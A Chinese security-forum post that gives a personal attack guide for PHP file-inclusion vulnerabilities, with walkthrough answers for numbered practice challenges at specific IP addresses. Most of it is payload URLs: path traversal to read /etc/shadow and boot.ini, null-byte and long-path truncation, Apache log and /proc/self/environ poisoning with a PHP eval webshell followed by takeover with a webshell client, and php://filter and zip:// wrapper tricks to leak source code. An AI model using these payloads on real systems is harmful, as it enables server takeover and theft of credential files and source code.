首页
社区
课程
招聘
[原创]个人整理文件包含漏洞攻略
发表于: 2020-9-16 00:16 5436

[原创]个人整理文件包含漏洞攻略

2020-9-16 00:16
5436

文件包含漏洞解题思路:
1、观察提示,是否为系统文件,如win.ini在windows系统的c:/windows/win.ini中,boot.ini在windows系统的c:/boot.ini中
linux里有:/etc/shadow /etc/passwd
2、带入文件,如果有后缀被自动加上,如果报错,尝试加入%00进行截断,如果报错,尝试加入绝对路径,比如c:/windows/win.ini%00,如果报错,尝试使用.....达到256个字符进行截断,尝试加入../,可以多加几个,因为在有的包含中代码中会加上一个路径前缀,所以我们必须通过../来规避这个前缀,一般3-5个左右,一般就是%00截断、.....256字符截断、绝对路径、相对路径等挨个尝试;
注意:
在Windows系统下,某些PHP版本的文件系统模块对于文件名后面所跟的“.”或者“./”或者“\”或者“/”或者“.”都会自动过滤而正常读写文件,或者通过增加%00进行截断,如Filename%00.php:
Filename///...(252个/)…/.php
Filename\...(252个)….php
Filename./././...(126个./)…./.php
Filename......(126个)…..php
Filename……(252个.)…..…...php
在Linux系统下,某些PHP版本的文件系统模块对于文件名后面所跟的“/.”或者“/”都会自动过滤而正常读写文件。据此可构造恶意的文件路径,又因为Linux下文件路径最大长度为4096,因此只需构造如下字符串即可路径截断:
Filename///...(4090个/)…/.php
Filename/././....(2045个/.)…/..php
3、apache的日志包含,
1)首先通过post或者get访问Apache服务器
http://192.168.31.14/demo1.php?name=<?php @eval($_POST['xyfy']);?>
2)通过burpsuite进行抓包,抓到包之后把包里被URLencode的替换掉,日志文件里包含一句话木马
3)文件包含Apache日志文件
http://192.168.31.14/demo1.php?name=D:\software\wamp\logs\access.log
4)使用菜刀链接,获得控制权
4、linux的proc/self/fd包含,适合于linux平台,并且文件系统不知道log日志放在什么位置,
如果纯粹把日志文件包含进来,就可以直接包含/proc/self/fd/0,进行挨个测试
如果要进行挂码
1)首先通过post或者get访问Apache服务器
http://192.168.31.14/demo1.php?name=<?php @eval($_POST['xyfy']);?>
2)通过burpsuite进行抓包,抓到包之后把包里被URLencode的替换掉,日志文件里包含一句话木马
3)文件包含Apache日志文件
http://192.168.31.14/demo1.php?name=proc/self/fd/0
4)使用菜刀链接,获得控制权
5、php伪协议包含
file协议(必须知道文件的绝对路径):
http://58.213.153.14:1007/index.php?file=file://c:/windows/win.ini
filter协议(可以是绝对路径,也可以是相对路径):
http://58.213.153.14:1007/index.php?file=php://filter/read=/resource=c:/boot.ini
http://58.213.153.14:1007/index.php?file=php://filter/read=/resource=test.php
使用base64编码:
比如index1.php文件包含的是代码,希望获得代码内容,可以进行base64加密,之后取得数据之后进行解密
http://58.213.153.14:1007/index.php?file=php://filter/read=convert.base64-encode/resource=index1.php
index1.php文件如果是经过base64加密之后的文件,读取出之后可以进行解密读
http://58.213.153.14:1007/index.php?file=php://filter/read=convert.base64-decode/resource=index1.php
zip协议
注意:需要zip文件的绝对地址,后缀可以不是zip,但是文件内容必须是zip压缩格式,#需要进行转换成%23
http://192.168.31.14/demo1.php?name=zip://D:\software\wamp\www\x.zip%23x.php

 

题目攻略:
1020,文件包含
此处就算带入了绝对路径,也有可能在后台被添加了路径,需要不断的上移路径光标
http://58.213.153.14:1020/stage/11/show.php?file=../../../../boot.ini%00
1020文件包含
http://58.213.153.14:1020/stage/12/show.php?file=../../../../etc/shadow
linux下两个文件:
http://58.213.153.14:1020/stage/12/show.php?file=../../../../etc/shadow
1000第五题
http://58.213.153.14:1000/stage/5/index.php?file=c:/windows/win.ini......添加到256
1000第六题
http://58.213.153.14:1000/stage/6/index.php?file=proc/self/fd/7
1010第十题
http://58.213.153.14:1010/sqlzhuru/stage/10/show.php?file=../../../../etc/shadow
1010第十一题
http://58.213.153.14:1010/sqlzhuru/stage/11/show.php?name=boot.ini%00&path=test/../../../../

 

windows文件名最大256字符
xx.php..................................................................................
文件截断
php以0x00作为结束标志位
xx.php%00
1、如果是windows系统
文件名最大可以是256位,如果超过256将会被截断,所以可以通过添加256个.....进行截断
另一种截断方式是通过添加%00进行截断
例如:c:/windows/win.ini............

1
2
如果参数中有多个,可以观察参数的联动性,比如有可能1个是文件名,另一个是路径,还有就是注意文件名最后的截断:%00
name=boot.ini%00&path=test/../../../../

2、如果是Linux系统
在Linux系统下,某些PHP版本的文件系统模块对于文件名后面所跟的“/.”或者“/”都会自动过滤而正常读写文件。据此可构造恶意的文件路径,又因为Linux下文件路径最大长度为4096,因此只需构造如下字符串即可路径截断:
Filename///...(4090个/)…/.php
Filename/././....(2045个/.)…/..php
也就是说在文件后面加上4096个/或者2045个/.就会把文件后面的拼接值给截断
3、针对web服务器日志的攻击方法
Apache的日志默认存储在安装目录下的logs文件夹下,主要有访问日志和错误日志。在Windows下这两个日志文件为access.log和error.log,Linux下是access_log和error_log。
首先构造访问记录:
http://192.168.1.243/lession/include/index.php?file=<?php phpinfo();?>
即可在访问日志中生成一条记录:192.168.1.247 - - [21/Feb/2017:14:34:32 +0800]"GET/lession/include/index.php?file=%3C?php%20phpinfo();?%3E HTTP/1.1" 200 2092这条日志中“file =%3C?php%20phpinfo();?%3E”这段代码对应的是URL中的“id=<?php phpinfo();?>”,可见字符’<’,’’和’>’分别被URL编码 为’%3C’,’%20’和’%3E’。因此我们需要绕过URL编码将正确的PHP代码写入日志中。
通过burp进行抓包,把URL编码给转换。
<?php @eval($_POST['xyfy']);?>
之后用文件包含把日志文件包含到当前文件中,此处需要注意的是:
linux系统下Apache的日志文件默认在
在基于Debian的Linux上,系统范围的Apache错误日志默认位置是/var/log/apache2/error.log。默认位置可以通过编辑Apache的配置文件进行修改。
在基于 Red Hat 的Linux中,系统范围的 Apache 错误日志文件默认被放置在/var/log/httpd/error_log。该默认位置可以通过修改 Apache 配置文件进行自定义。
windows是自定义的了,默认在安装目录下的logs文件夹下,但是安装目录需要找:
C://Program Files/phpStudy/Apache2/logs/access.log
4、linux针对/proc/self/environ的攻击方法
攻击原理:
/proc/self/environ是Linux系统下的环境变量文件,用于保存系统的一些变量。访问者可通过修改浏览器的User Agent信息插入自己的内容到该文件,利用这一特性将php代码写入/proc/self/environ文件中,然后在有LFI漏洞的注入点中写入该文件的正确路径及文件名,而后结合php的路径截断特性来进行文件包含漏洞利。
限制条件:
1、平台限制:只能应用于Linux系统下
2、访问者(HTTP服务器的启动用户)需要具有对/proc/self/environ文件具有读写权限
linux下的日志文件链接:
root@qit:/proc/self/fd# cd /proc/self/fd
root@qit:/proc/self/fd# ls -la
总用量 0
dr-x------ 2 root root 0 6月 22 13:25 .
dr-xr-xr-x 9 root root 0 6月 22 13:25 ..
lrwx------ 1 root root 64 6月 22 13:25 0 -> /dev/pts/0
lrwx------ 1 root root 64 6月 22 13:25 1 -> /dev/pts/0
lrwx------ 1 root root 64 6月 22 13:25 2 -> /dev/pts/0
lrwx------ 1 root root 64 6月 22 13:39 255 -> /dev/pts/0
root@qit:/proc/self/fd#
攻击步骤:
包含文件:http://58.213.153.14:1000/stage/6/index.php?file=/proc/self/fd/0
如果0-7都没有,尝试使用burp进行攻击
5、针对session的包含
首先通过burp抓包,写入一句话木马,主要在user-agent最后加入
6、php伪协议
file协议(必须知道文件的绝对路径):
http://58.213.153.14:1007/index.php?file=file://c:/windows/win.ini
filter协议(可以是绝对路径,也可以是相对路径):
http://58.213.153.14:1007/index.php?file=php://filter/read=/resource=c:/boot.ini
http://58.213.153.14:1007/index.php?file=php://filter/read=/resource=test.php
使用base64编码:
http://58.213.153.14:1007/index.php?file=php://filter/read=convert.base64-encode/resource=index1.php
zip协议
7、XXE文件上传漏洞利用


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 4
活跃值: (504)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
我自己顶吧
2020-9-16 20:56
0
游客
登录 | 注册 方可回帖
返回
//